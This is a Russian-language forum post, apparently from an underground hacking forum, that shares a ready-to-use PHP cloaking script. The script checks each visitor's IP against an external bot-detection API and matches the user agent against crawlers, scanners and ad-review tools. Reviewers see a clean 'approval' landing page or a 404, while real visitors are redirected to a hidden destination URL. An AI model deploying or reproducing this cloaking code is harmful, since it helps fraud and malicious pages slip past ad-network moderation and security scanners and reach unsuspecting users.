Создать 2 файла:
index.php
bad_reguest.php (сюда можно положить оригинальный код вашего лендинга для аппрува, дефолт код ниже)
Сделано на CHECK-IPS.NET - IPs-Data API
index.php
PHP:
<?php
error_reporting(0);
### CONFIG ###
$CHECK_IPS_KEY = "key_free";
$work = 1; # 1 - ON / 0 - OFF, all send bad_reguest
$good_url = "http://www.google.com/"; # URL send OK
##############
###
function good_reguest($good_url){
header('Location: '.$good_url);
exit();
}
#
function bad_reguest(){
include "bad_reguest.php";
exit();
}
###
###
if($work == 0){
bad_reguest();
exit();
}
###
###
$GLOBAL_IP = $_SERVER['REMOTE_ADDR'];
$GLOBAL_UA = urlencode($_SERVER['HTTP_USER_AGENT']);
#
$CHECK_IPS_KEY = "key_free";
$CHECK_IPS_API_BOT = "http://checkbot.check-ips.net/".$CHECK_IPS_KEY."/ip/".$GLOBAL_IP;
###
if( ### Check USER_AGENT
strpos($GLOBAL_UA, urlencode('http://')) !== false ||
strpos($GLOBAL_UA, urlencode('Catchpoint')) !== false ||
strpos($GLOBAL_UA, urlencode('Python')) !== false ||
strpos($GLOBAL_UA, urlencode('Crawler')) !== false ||
strpos($GLOBAL_UA, urlencode('Spider')) !== false ||
strpos($GLOBAL_UA, urlencode('crawler')) !== false ||
strpos($GLOBAL_UA, urlencode('spider')) !== false ||
strpos($GLOBAL_UA, urlencode('Bot')) !== false ||
strpos($GLOBAL_UA, urlencode('BOT')) !== false ||
strpos($GLOBAL_UA, urlencode('bot')) !== false ||
strpos($GLOBAL_UA, urlencode('ips-agent')) !== false ||
strpos($GLOBAL_UA, urlencode('zgrab')) !== false ||
strpos($GLOBAL_UA, urlencode('Netcraft')) !== false ||
strpos($GLOBAL_UA, urlencode('BingPreview')) !== false ||
strpos($GLOBAL_UA, urlencode('evc-batch')) !== false ||
strpos($GLOBAL_UA, urlencode('Wget')) !== false ||
strpos($GLOBAL_UA, urlencode('CheckHost')) !== false ||
strpos($GLOBAL_UA, urlencode('HostTracker')) !== false ||
strpos($GLOBAL_UA, urlencode('Wappalyzer')) !== false ||
strpos($GLOBAL_UA, urlencode('Hstpnetwork')) !== false ||
strpos($GLOBAL_UA, urlencode('Genieo')) !== false ||
strpos($GLOBAL_UA, urlencode('Yahoo')) !== false ||
strpos($GLOBAL_UA, urlencode('A6-Indexer')) !== false ||
strpos($GLOBAL_UA, urlencode('Windows NT 5.2')) !== false
#ADD MORE
){
bad_reguest();
} else {
if ( ### Check CHECK_IPS_API_BOT
strpos(file_get_contents($CHECK_IPS_API_BOT), 'BOT') !== false
){
bad_reguest();
} else {
good_reguest($good_url);
}
}
exit();
?>
PHP:
<?php
header("HTTP/1.0 404 Not Found");
echo "404 Not Found";
?>
Сделано на CHECK-IPS.NET - IPs-Data API
https://xssforum7mmh3n56inuf2h73hvhnzobi7h2ytb3gvklrfqm7ut3xdnyd.onion/threads/35253/
Последнее редактирование модератором: